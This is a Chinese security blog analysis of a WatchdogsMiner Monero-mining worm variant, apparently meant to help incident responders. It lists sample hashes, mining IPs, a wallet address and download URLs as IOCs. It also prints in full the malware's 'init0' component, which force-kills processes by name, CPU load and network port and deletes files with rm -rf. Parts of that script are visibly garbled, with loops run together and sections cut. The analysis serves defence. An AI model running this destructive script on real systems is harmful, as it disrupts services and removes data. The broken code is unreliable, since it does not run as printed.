WachtdogsMiner挖矿蠕虫最新变种分析

*本文原创作者:Sampson,本文属于FreeBuf原创奖励计划,未经许可禁止转载

2019年5月27日清晨,捕获到一起挖矿木马行为,通过分析,定性为针对“门罗币”的WatchdogsMiner变种挖矿木马入侵事件。

该木马通过SSH爆破,使用Linux系统的Shell脚本编写下载器,通过wget和curl命令下载“游戏组件dota2.tar.gz,实则是挖矿脚本组件,里面包含了强大的查杀其他挖矿木马的脚本,还有针对不同系统对应的挖矿木马。本文对该挖矿木马核心代码进行分析,便于从事安全事件响应的同行碰到相同类型的挖矿木马可以快速排查,定性安全威胁事件。

挖矿木马攻击流程

0×00 样本介绍

样本基本信息:

样本 MD5 内容
x15cache 1b9254279109722a034b7026cd8eb0e7 x15cache脚本下载挖矿程序包
anacron ef6aa42aa0fa26fb6ba8c0af02737585 32位挖矿程序
cron cd6d5fc0fbf8616a1387651432ee7b99 64位挖矿程序

0×01 详细分析

x15cache脚本的脚本内容如下所示,主要作用是下载dota2.tar.gz包,并且执行挖矿程序。

dota2.tar.gz包含了如下文件:

a为脚本文件,作用是删除crontab文件,生成upd并赋权,upd去执行run,run去执行真正的挖矿程序。

run脚本文件为启动xmr挖矿病毒的脚本,首先执行stop结束脚本,ARCH获取系统版本,根据版本执行对应的挖矿程序。

stop脚本文件为挖矿结束脚本。

对anacron和cron文件进行分析,它们分别是32位和64位的挖矿程序,下面以32位的WatchdogMiner变种样本为例分析,通过代码分析该挖矿程序是基于XMRig 2.14.1开源项目开发的。

当参数为1时,挖矿算法支持为cryptonight,支持nicehash.com。

挖矿时挖矿配置如下,设置算法为cryptonight,并且启用nicehash.com支持。

当参数为2时,矿机程序采用开源挖矿软件XMRig 2.14.1版本编译。

流量解析提取如下:

挖矿程序使用的IP地址如下:

5.255.86.129:80挖矿行为

107.191.99.221:80挖矿行为

workforce.ignorelist.com挖矿行为

XMR钱包地址:

45UcbvLNayefqNad3tGpHKPzviQUYHF1mCapMhgRuiiAJPYX4KyRCVg9veTmckPN7
bDebx51LCuDQYyhFgVbUMhc4qY14CQ

dota2.tar.gz包含init0脚本,用于Linux环境下查杀加密货币矿工的脚本,清理CPU占用高的进程,清理各类挖矿矿池进程,还清理其他恶意程序,如”kworkerds”,”ddgs”等挖矿程序,脚本内容如下。

#!/bin/sh

##########################################################################################\
### A script for killing cryptocurrecncy miners in a Linux enviornment
### Provided with zero liability (!)
###
### Some of the malware used as sources for this tool:
### https://pastebin.com/pxc1sXYZ
### https://pastebin.com/jRerGP1u
### SHA256: 2e3e8f980fde5757248e1c72ab8857eb2aea9ef4a37517261a1b013e3dc9e3c4
##########################################################################################\

# Killing processes by name, path, arguments and CPU utilization
processes(){
    killme() {
      killall -9 chron-34e2fg;ps wx|awk '/34e|r\/v3|moy5|defunct/' | awk '{print $1}' | xargs kill -9 & > /dev/null &
    }

    killa() {
    what=$1;ps auxw|awk "/$what/" |awk '!/awk/' | awk '{print $2}'|xargs kill -9&>/dev/null&
    }

    killa 34e2fg
    killme
    
    # Killing big CPU
    VAR=$(ps uwx|awk '{print $2":"$3}'| grep -v CPU)
    for word in $VAR
    do
      CPUUSAGE=$(echo $word|awk -F":" '{print $2}'|awk -F"." '{ print $1}')
      if [ $CPUUSAGE -gt 60 ]; then echo BIG $word; PID=$(echo $word | awk -F":" '{print $1'});LINE=$(ps uwx | grep $PID);COUNT=$(echo $LINE| grep -P "er/v5|34e2|Xtmp|wf32N4|moy5Me|ssh"|wc -l);if [ $COUNT -eq 0 ]; then echo KILLING $line; fi;kill $PID;fi;
    done

    killall \.Historys
    killall \.sshd
    killall neptune
    killall xm64
    killall xm32
    killall xmrig
    killall \.xmrig
    killall suppoieup

    pkill -f sourplum
    pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
    
    ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "/var/tmp/java" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9

    ps auxf|grep xiaoyao| awk '{print $2}'|xargs kill -9
    ps auxf|grep named| awk '{print $2}'|xargs kill -9
    ps auxf|grep kernelcfg| awk '{print $2}'|xargs kill -9
    ps auxf|grep xiaoxue| awk '{print $2}'|xargs kill -9
    ps auxf|grep kernelupgrade| awk '{print $2}'|xargs kill -9
    ps auxf|grep kernelorg| awk '{print $2}'|xargs kill -9
    ps auxf|grep kernelupdates| awk '{print $2}'|xargs kill -9

    ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
    ps ax|grep -o './[0-9]* -c'| xargs pkill -f

    pkill -f /usr/bin/.sshd
    pkill -f acpid
    pkill -f AnXqV.yam
    pkill -f apaceha
    pkill -f askdljlqw
    pkill -f bashe
    pkill -f bashf
    pkill -f bashg
    pkill -f bashh
    pkill -f bashx
    pkill -f BI5zj
    pkill -f biosetjenkins
    pkill -f bonn.sh
    pkill -f bonns
    pkill -f conn.sh
    pkill -f conns
    pkill -f cryptonight
    pkill -f crypto-pool
    pkill -f ddg.2011
    pkill -f deamon
    pkill -f disk_genius
    pkill -f donns
    pkill -f Duck.sh
    pkill -f gddr
    pkill -f Guard.sh
    pkill -f i586
    pkill -f icb5o
    pkill -f ir29xc1
    pkill -f irqba2anc1
    pkill -f irqba5xnc1
    pkill -f irqbalanc1
    pkill -f irqbalance
    pkill -f irqbnc1
    pkill -f JnKihGjn
    pkill -f jweri
    pkill -f kw.sh
    pkill -f kworker34
    pkill -f kxjd
    pkill -f libapache
    pkill -f Loopback
    pkill -f lx26
    pkill -f mgwsl
    pkill -f minerd
    pkill -f minergate
    pkill -f minexmr
    pkill -f mixnerdx
    pkill -f mstxmr
    pkill -f nanoWatch
    pkill -f nopxi
    pkill -f NXLAi
    pkill -f performedl
    pkill -f polkitd
    pkill -f pro.sh
    pkill -f pythno
    pkill -f qW3xT.2
    pkill -f sourplum
    pkill -f stratum
    pkill -f sustes
    pkill -f wnTKYg
    pkill -f XbashY
    pkill -f XJnRj
    pkill -f xmrig
    pkill -f xmrigDaemon
    pkill -f xmrigMiner
    pkill -f ysaydh
    pkill -f zigw
    
    # crond
    ps ax | grep crond | grep -v grep | awk '{print $1}' > /tmp/crondpid
    while read crondpid
    do
        if [ $(echo  $(ps -p $crondpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]
        then
            kill $crondpid
            rm -rf /var/tmp/v3
        fi
    done  /tmp/ssdpid
    while read sshdpid
    do
        if [ $(echo  $(ps -p $sshdpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]
        then
            kill $sshdpid
        fi
    done  /tmp/syslogspid
    while read syslogpid
    do
        if [ $(echo  $(ps -p $syslogpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]
        then
            kill  $syslogpid
        fi
    done  .procs

        cat .procs | while read line
        do

        pid=`echo $line | awk '{print $1;}'`
        name=`echo $line | awk '{print $2;}'`
        #echo $pid $name 

        if [ $(echo $name | wc -c) -lt "13" ]
            then
            echo "Found" $pid $name
            kill -9 $pid
        fi
        done

        ####################################################


        ps x | grep 'd 22'| awk '{print $1,$5}' > .procs

        cat .procs | while read line
        do

        pid=`echo $line | awk '{print $1;}'`
        name=`echo $line | awk '{print $2;}'`
        #echo $pid $name 

        if [ $(echo $name | wc -c) -lt "13" ]
            then
            echo "Found" $pid $name
            kill -9 $pid
        fi
        done

}

# Removing miners by known path IOC
files(){
    rm /tmp/.cron
    rm /tmp/.main
    rm /tmp/.yam* -rf
    rm -f /tmp/irq
    rm -f /tmp/irq.sh
    rm -f /tmp/irqbalanc1
    rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
    rm -rf /tmp/*httpd.conf
    rm -rf /tmp/*httpd.conf*
    rm -rf /tmp/*index_bak*
    rm -rf /tmp/.systemd-private-*
    rm -rf /tmp/.xm*
    rm -rf /tmp/a7b104c270
    rm -rf /tmp/conn
    rm -rf /tmp/conns
    rm -rf /tmp/httpd.conf
    rm -rf /tmp/java*
    rm -rf /tmp/kworkerds /bin/kworkerds /bin/config.json /var/tmp/kworkerds /var/tmp/config.json /usr/local/lib/libjdk.so
    rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik
    rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
    rm -rf /tmp/xm*
    rm -rf /var/tmp/java*
}

# Killing and blocking miners by network related IOC
network(){
    # Kill by known ports/IPs
    netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :23 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :143 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :2222 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :3389 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :6665 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :6667 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :8444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
}   

files
processes
network
echo "DONE"

0×03 相关 IOC

MD5

1b9254279109722a034b7026cd8eb0e7
ef6aa42aa0fa26fb6ba8c0af02737585
cd6d5fc0fbf8616a1387651432ee7b99

IP

118.25.7.83:36366

69.28.55.86:443

185.71.65.238

140.82.52.87

URL

http://54.37.70.249/.x15cache

http://54.37.70.249/dota2.tar.gz

http://54.37.70.249/fiatlux-1.0.0.apk

0×04 其他平台检测结果

Virustotal检测结果:

微步分析结果: